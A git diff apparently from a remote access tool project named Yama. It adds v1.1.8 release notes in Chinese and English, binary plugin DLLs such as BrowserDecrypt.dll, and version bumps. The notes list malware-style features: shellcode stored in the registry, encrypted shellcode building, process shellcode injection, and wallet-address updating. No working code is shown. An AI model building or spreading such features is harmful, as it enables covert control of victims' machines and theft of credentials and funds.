diff --git a/ReadMe.md b/ReadMe.md index f58a7bc..37ee6d6 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -363,6 +363,31 @@ Release v1.1.4 * 功能:添加卸载客户端程序的菜单 * 功能:添加远程桌面隐私屏幕源代码 +**2025.11.15** + +发布版本 v1.1.8: + +本次更新修复多项稳定性与安全性问题、增强远程控制中的剪贴板与文件操作功能,并加入插件示例。 + +* 修复: #204 将套接字连接改为非阻塞模式 +* 风格: 格式化源代码并支持客户端分组 +* 修复: 在注册表中保存 shellcode 并在可能时使用 +* 新功能: 添加机器注销、关机和重启命令 +* 修复: UpdateClientClipboard 可能会丢失最后一个字母 +* 新功能: 支持使用 Ctrl+V 从远程复制文本 +* 修复: #210 保存解码缓冲区时的栈溢出 +* 修复: #212 printf 的未定义行为 +* 修复: #185 和 #214 +* 新功能: 远程控制中支持文件复制/粘贴 +* 新功能 & 修复: 在主程序中显示用户名 +* 改进: 在生成通行码时生成 HMAC +* 新功能: 添加加载 bin 文件以测试 shellcode 的菜单 +* 修复: 更新钱包地址时无需重启客户端 +* 新功能: 添加构建和测试 AES 加密 shellcode 的菜单 +* 新功能: 支持使用 pe_to_shellcode 转换 PE +* 插件: 添加示例插件项目供参考 +* 新功能: 为进程管理添加 shellcode 注入功能 + --- # 6.其他项目 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index 1a4ec65..17e5c36 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -379,6 +379,32 @@ This version adds new tools, auto client deletion, IP fix, and private remote de * Feature: Add a menu to uninstall client program * Feature: Add private remote desktop source code +**2025.11.15** + +Release v1.1.8 + +This update fixes several stability and security issues, enhances clipboard and file operations in remote control, +and adds a plugin example. + +* fix: #204 Change socket connecting to non-blocking mode +* style: Format source code and support grouping client +* fix: Save shellcode in registry and use it when possible +* Feature: Add machine logout, shutdown and reboot cmd +* fix: UpdateClientClipboard may lost the last letter +* Feature: Support copy text from remote with Ctrl+V +* fix: #210 Stack for saving decoded buffer overflow +* fix: #212 Undefined behavior on printf +* fix #185 and fix #214 +* Feature: File copy/paste support in remote control +* Feature&fix: Show username on master program +* Improve: Generate HMAC while generating pass code +* feature: Add menu to load bin file to test shellcode +* fix: No need to restart client to update wallet address +* Feature: Add menu to build and test AES encrypted shellcode +* Feature: Support converting PE using pe_to_shellcode +* plugin: Add an example plugin project for reference +* Feature: Add shellcode injection feature for process management + --- # 6. Related Projects diff --git a/Releases/plugins/BrowserDecrypt.dll b/Releases/plugins/BrowserDecrypt.dll new file mode 100644 index 0000000..9bcacc1 Binary files /dev/null and b/Releases/plugins/BrowserDecrypt.dll differ diff --git a/Releases/plugins/DrawingBoard.dll b/Releases/plugins/DrawingBoard.dll new file mode 100644 index 0000000..dd1f866 Binary files /dev/null and b/Releases/plugins/DrawingBoard.dll differ diff --git a/Releases/plugins/FileManager.dll b/Releases/plugins/FileManager.dll new file mode 100644 index 0000000..b016c7e Binary files /dev/null and b/Releases/plugins/FileManager.dll differ diff --git a/Releases/plugins/HostManager.dll b/Releases/plugins/HostManager.dll new file mode 100644 index 0000000..33bc229 Binary files /dev/null and b/Releases/plugins/HostManager.dll differ diff --git a/Releases/plugins/PrivateDesktop.dll b/Releases/plugins/PrivateDesktop.dll new file mode 100644 index 0000000..eb0d9c6 Binary files /dev/null and b/Releases/plugins/PrivateDesktop.dll differ diff --git a/Releases/plugins/RemoteChat.dll b/Releases/plugins/RemoteChat.dll new file mode 100644 index 0000000..800ca62 Binary files /dev/null and b/Releases/plugins/RemoteChat.dll differ diff --git a/Releases/plugins/VirtualDesktop.dll b/Releases/plugins/VirtualDesktop.dll new file mode 100644 index 0000000..f5e7a46 Binary files /dev/null and b/Releases/plugins/VirtualDesktop.dll differ diff --git a/Releases/v1.1.7/Yama.exe b/Releases/v1.1.8/Yama.exe similarity index 70% rename from Releases/v1.1.7/Yama.exe rename to Releases/v1.1.8/Yama.exe index f4691e6..93cb7c7 100644 Binary files a/Releases/v1.1.7/Yama.exe and b/Releases/v1.1.8/Yama.exe differ diff --git a/client/Script.rc b/client/Script.rc index 485e46c..5a4e4cb 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,1,7 + FILEVERSION 1,0,1,8 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.1.7" + VALUE "FileVersion", "1.0.1.8" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/client/TestRun.rc b/client/TestRun.rc index 0834aac..7822833 100644 Binary files a/client/TestRun.rc and b/client/TestRun.rc differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 2e7a7a3..8dd3941 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ